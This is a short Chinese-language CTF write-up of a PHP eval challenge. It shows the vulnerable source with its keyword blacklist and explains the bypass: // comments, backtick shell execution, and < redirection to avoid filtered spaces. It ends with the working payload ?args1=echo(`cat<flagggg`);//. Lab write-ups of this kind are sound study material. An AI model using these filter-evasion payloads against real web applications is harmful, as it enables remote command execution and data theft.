记录一个RCE利用 < 绕过 空格 的题
老样子先看源码
<?php
# -*- coding: utf-8 -*-
# @Author: ShawRoot
# @Date: 2022-07-21 08:42:23
# @link: https://shawroot.cc
highlight_file(__FILE__);
$args1 = $_GET['args1'];
$args2 = $_GET['args2'];
$args3 = $_GET['args3']; //这里传入3个参数
$evil = $args1.'('.$args2.')('.$args3.')'.';'; //三个参数进行了一个拼接
//拼接后的结果大致是 $args1($args2)($args3);
$blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))
{ //对参数进行过滤
echo "<br>".$evil."<br>";
eval($evil);
}
?>
()();
这里的ctype_space($evil)函数是判断参数里是否含有空格,ctype_graph($evil)函数就是匹配除空格外的任意字符。
简单来说就是处理他列出来的黑名单外,还过滤了空格
现在就是要对$evil这个拼接的字符下手了,很容易想到用 ; 来用$args1执行命令,另外两个参数因为被 () 包裹的缘故无法很好利用。但如果直接
?args1=echo(1);&args2=echo&args3=1
会发现仅仅输出了语句,并没有输出 1 ,也就是说语句并被没有执行
原因很简单,因为后面的两个括号内的类容会导致语法错误,从而无法正常执行
这时候就想到了用 // 去注释掉后面的类容
可以看到正常输出了1,接下来就是如何进行RCE了,我想到了用 ` 反引号进行RCE,
发现flag文件,但是有个问题,我们去cat flagggg的时候空格被过滤了,$也被过滤了,这就说明无法利用$IFS去绕过,我试了一下 %20、%09都不行,最后我想到了用 < 号,在linux系统中,< 表示重定向,将后面的文件内容当成前面命令的输入 如 cat<a.txt ;输出的就是a.txt 的内容
最终payload:?args1=echo(`cat<flagggg`);//
因为 // 注释了后面内容,args2和args3为空也可以
得到flag。